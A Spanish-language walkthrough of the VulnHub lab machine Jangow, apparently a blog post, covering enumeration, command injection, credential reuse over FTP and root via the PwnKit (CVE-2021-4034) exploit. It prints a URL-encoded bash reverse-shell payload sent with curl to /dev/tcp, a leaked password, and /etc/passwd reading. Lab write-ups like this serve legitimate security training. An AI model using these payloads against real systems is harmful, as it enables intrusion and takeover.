Llevaba tiempo sin tocar ninguna máquina de esta legendaria plataforma llamada VulnHub y la verdad es que nunca he llegado a engancharme tanto como si lo he hecho con HTB o THM, incluso RootMe, pero de casualidad ayer junto a un colega del trabajo quien tenía algunas dudas puntuales, me puse a revisar esta máquina y me quedé bastante motivado para traeros en primer lugar este write-up y por que no? iniciar esta sección donde se cubra otras máquinas disponibles de esta plataforma. Por ahora, aquí les dejo Jangow:
OS | RELEASE | DIFFICULTY | AUTHOR |
---|---|---|---|
LINUX | 04/NOV/21 | EASY | Jangow |
Resumen:
- Enumeración de puertos y servicios con Nmap
- Análisis de la aplicación web
- Fuzzing de directorios y ficheros (visibles y ocultos)
- Reutilización de credenciales y acceso a servicio FTP
- Obtención de usuario / Captura del fichero user.txt
- Escalada de privilegios / Captura de fichero root.txt
Enumeración:
Iniciamos con un Nmap típico:
nmap -sS -sV 10.10.10.13
Arrancaremos el análisis por medio del servicio HTTP.
Aplicaciones web:
Al visitar la aplicación web mediante un navegador, observamos el siguiente contenido:
Pulsando sobre el directorio site dejamos atrás el directory listing para conseguir la siguiente vista:
Aquí, revisando las secciones de la aplicación se observa el siguiente recurso:
Después de testear un buen rato esta entrada de datos, se evidencia que es posible ejecutar comandos en el sistema:
Emplearemos este vector para leer el fichero busque.php y conocer el tratamiento que se le da a la entrada de datos (input):
Una vez evidenciado, aprovecharemos esta oportunidad para ejecutar nuestra reverse shell. Lo primero será preparar nuestro payload, esta vez lo codificaremos (URL Encode), para ello emplearemos el poderoso CyberChef.
nc -lvnp 443
curl -si "http://10.10.10.13/site/busque.php?buscar=%2Fbin%2Fbash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2Ftcp%2F10%2E10%2E10%2E10%2F443%200%3E%261%27"
De forma adicional haremos un tratamiento de la TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")' export TERM=screen-256color [Ctrl + z] echo $TERM stty raw -echo fg [INTRO]
Fuzzing:
Mediante la herramienta Wfuzz haremos fuzzing de directorios y ficheros:
wfuzz -u http://10.10.10.13/.FUZZ -w /usr/share/dirb/wordlists/common.txt --hc 404,403
Este fichero oculto es bastante enriquecedor, lo visualizamos mediante el navegador y ojo:
Credenciales halladas:
Las credenciales halladas si bien parecen ser de conexión a una base de datos, también nos valdrán para conectaremos al host mediante FTP:
hydra -l jangow01 -p abygurl69 ftp://10.10.10.13
Obtención de usuario:
Volviendo al punto de la primera intrusión, revisaremos el activo en búsqueda de los usuarios del sistema:
cat /etc/passwd | grep sh
Ubicando el usuario jangow01, es hora de comprobar si la contraseña que disponemos para este usuario es válida:
Al serlo, es hora de obtener la primera flag, la del usuario.
Escalada de privilegios:
Para obtener la escalada de privilegios inicialmente comprobamos el listado de binarios que puedan tener permisos SUID.
find / -perm -4000 2>/dev/null
Rápidamente me percato del binario pkexec, revisemos sus propiedades:
Efectivamente como lo ves, podemos valernos de la vulnerabilidad recientemente publicada (CVE-2021-4034 aka Pwnkit). Para ello emplearemos el siguiente exploit: https://github.com/arthepsy/CVE-2021-4034/blob/main/cve-2021-4034-poc.c
Por alguna razón que no me he puesto a resolver, no logro descargar el contenido ofrecido desde mi host al objetivo, por tanto tomaré la vía de FTP para llevar el exploit de la vulnerabilidad Pwnkit, compilarlo y posteriormente ejecutarlo.
Fuera del FTP, llega el momento de compilarlo:
Si todo ha ido bien, pondremos en marcha el exploit para conseguir escalar privilegios:
Ya bajo el root, terminamos leyendo la flag respectiva:
Muy entretenida la máquina como habéis visto. Sin duda una buena forma de adentrarnos con VulnHub, espero traeros pronto una nueva máquina de esta plataforma. Nos vemos!